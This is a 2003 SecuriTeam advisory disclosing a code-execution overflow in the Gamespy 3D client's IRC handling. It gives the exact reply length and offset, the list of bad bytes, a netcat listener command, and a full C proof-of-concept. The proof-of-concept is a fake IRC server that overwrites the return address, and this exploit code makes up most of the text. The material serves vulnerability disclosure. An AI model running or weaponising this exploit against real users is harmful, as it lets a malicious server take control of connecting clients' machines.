[NT] Gamespy 3D Code Execution Vulnerability (Long IRC Answer)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/09/03

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      Gamespy 3D Code Execution Vulnerability (Long IRC Answer)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.gamespy3d.com/> Gamespy 3D is "a commercial application
    developed by Gamespy to have access to the master servers based on their
    protocol and to make other things like chat for example".

    A vulnerability in the Gamespy 3d's implementation of the IRC protocol
    allows attackers to cause the Gamespy 3d client to crash while executing
    arbitrary code.

    DETAILS

    Gamespy 3D has a built-in IRC client to let users to join an IRC server
    specified by them and starting to chat. After sending the USER and NICK
    commands, the Gamespy3d client waits an answer from the server. If the
    server sends an answer of at least 262 bytes, the client will badly
    interpret the input and the execution flow will continue from the address
    pointed by the 4 bytes at the offset 204 of the answer.

    The following is a practical example:

    : [203 bytes] [4 bytes] [54 bytes]
    | | | |
    | | | are needed at least 54 bytes to exploit the bug
    | | execution flow will continue by the address pointed here
    | these bytes are needed
    IRC protocol

    However, what happens in the program is not very clear. The last
    instruction before the exception in the version 263010 of the program is:

    :004F29CB 8378F401 cmp dword ptr [eax-0C], 00000001

    Then the execution flow continues directly from the address pointed by the
    4 bytes in the server's answer. EAX and EBX instead will point to the 4
    bytes before (useful for exploitation).

    The following is the list of the bytes that cannot be used or that will be
    converted in NULL bytes:
    0a = cannot be used
    0d = cannot be used
    20 = cannot be used
    21 = will be converted in 0x00
    40 = will be converted in 0x00
    7e = will be converted in 0x00

    Exploit:
    You can use a text file containing the long string launching netcat in
    listening mode:
    nc -l -p 6667 -v -v -n < long_string.txt

    Or you can use my simple proof-of-concept:

    gs3dirc.c:
    /*
    by Luigi Auriemma
    Use -DWIN to compile the source on Windows
    This source is covered by GNU/GPL
    UNIX & WIN VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define PORT 6667
    #define BUFFSZ 512
    #define BUG
    ":aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaa" \
    /* EIP */ "\x44\x33\x22\x11" \
                    
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n"

    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        u_char *buff = 0;
        struct sockaddr_in peers,
                            peer;
        int sd,
                sa,
                err,
                rlen,
                on = 1;

        setbuf(stdout, NULL);

        fputs("\n"
            "Fake IRC server for Gamespy3d <= 263015 code execution "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n"
            "The return address will be overwritten by 0x11223344\n"
            "\n", stdout);

    #ifdef WIN
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        peers.sin_addr.s_addr = INADDR_ANY;
        peers.sin_port = htons(PORT);
        peers.sin_family = AF_INET;
        rlen = sizeof(peers);

        printf("\nListening on port %d\n", PORT);

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
    sizeof(on));
        if(err < 0) std_err();
        err = bind(sd, (struct sockaddr *)&peers, rlen);
        if(err < 0) std_err();
        err = listen(sd, 5);
        if(err < 0) std_err();

        buff = malloc(BUFFSZ + 1);
        if(!buff) std_err();

        while(1) {
            sa = accept(sd, (struct sockaddr *)&peer, &rlen);
            if(sa < 0) std_err();

            printf("\nClient: %s:%hu\n",
                inet_ntoa(peer.sin_addr),
                htons(peer.sin_port));

                /* USER */
            err = recv(sa, buff, BUFFSZ, 0);
            if(err < 0) std_err();
            fwrite(buff, err, 1, stdout);

                /* NICK */
            err = recv(sa, buff, BUFFSZ, 0);
            if(err < 0) std_err();
            fwrite(buff, err, 1, stdout);

            err = send(sa, BUG, sizeof(BUG) - 1, 0);
            if(err < 0) std_err();

            close(sa);
        }

        close(sd);

        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)(hp->h_addr);
        }
        return(host_ip);
    }

    #ifndef WIN
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    winerr.h:
    /*
       Header file used for manage errors in Windows
       It support socket and errno too
       (this header replace the previous sock_errX.h)
    */

    #include <string.h>
    #include <errno.h>

    void std_err(void) {
        char *error;

        switch(WSAGetLastError()) {
            case 10004: error = "Interrupted system call"; break;
            case 10009: error = "Bad file number"; break;
            case 10013: error = "Permission denied"; break;
            case 10014: error = "Bad address"; break;
            case 10022: error = "Invalid argument (not bind)"; break;
            case 10024: error = "Too many open files"; break;
            case 10035: error = "Operation would block"; break;
            case 10036: error = "Operation now in progress"; break;
            case 10037: error = "Operation already in progress"; break;
            case 10038: error = "Socket operation on non-socket"; break;
            case 10039: error = "Destination address required"; break;
            case 10040: error = "Message too long"; break;
            case 10041: error = "Protocol wrong type for socket"; break;
            case 10042: error = "Bad protocol option"; break;
            case 10043: error = "Protocol not supported"; break;
            case 10044: error = "Socket type not supported"; break;
            case 10045: error = "Operation not supported on socket"; break;
            case 10046: error = "Protocol family not supported"; break;
            case 10047: error = "Address family not supported by protocol
    family"; break;
            case 10048: error = "Address already in use"; break;
            case 10049: error = "Can't assign requested address"; break;
            case 10050: error = "Network is down"; break;
            case 10051: error = "Network is unreachable"; break;
            case 10052: error = "Net dropped connection or reset"; break;
            case 10053: error = "Software caused connection abort"; break;
            case 10054: error = "Connection reset by peer"; break;
            case 10055: error = "No buffer space available"; break;
            case 10056: error = "Socket is already connected"; break;
            case 10057: error = "Socket is not connected"; break;
            case 10058: error = "Can't send after socket shutdown"; break;
            case 10059: error = "Too many references, can't splice"; break;
            case 10060: error = "Connection timed out"; break;
            case 10061: error = "Connection refused"; break;
            case 10062: error = "Too many levels of symbolic links"; break;
            case 10063: error = "File name too long"; break;
            case 10064: error = "Host is down"; break;
            case 10065: error = "No Route to Host"; break;
            case 10066: error = "Directory not empty"; break;
            case 10067: error = "Too many processes"; break;
            case 10068: error = "Too many users"; break;
            case 10069: error = "Disc Quota Exceeded"; break;
            case 10070: error = "Stale NFS file handle"; break;
            case 10091: error = "Network SubSystem is unavailable"; break;
            case 10092: error = "WINSOCK DLL Version out of range"; break;
            case 10093: error = "Successful WSASTARTUP not yet performed";
    break;
            case 10071: error = "Too many levels of remote in path"; break;
            case 11001: error = "Host not found"; break;
            case 11002: error = "Non-Authoritative Host not found"; break;
            case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED,
    NOTIMP"; break;
            case 11004: error = "Valid name, no data record of requested
    type"; break;
            default: error = strerror(errno); break;
        }
        fprintf(stderr, "\nError: %s\n", error);
        exit(1);
    }

    Vendor status:
    Gamespy was notified but Luigi has not received any answer.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

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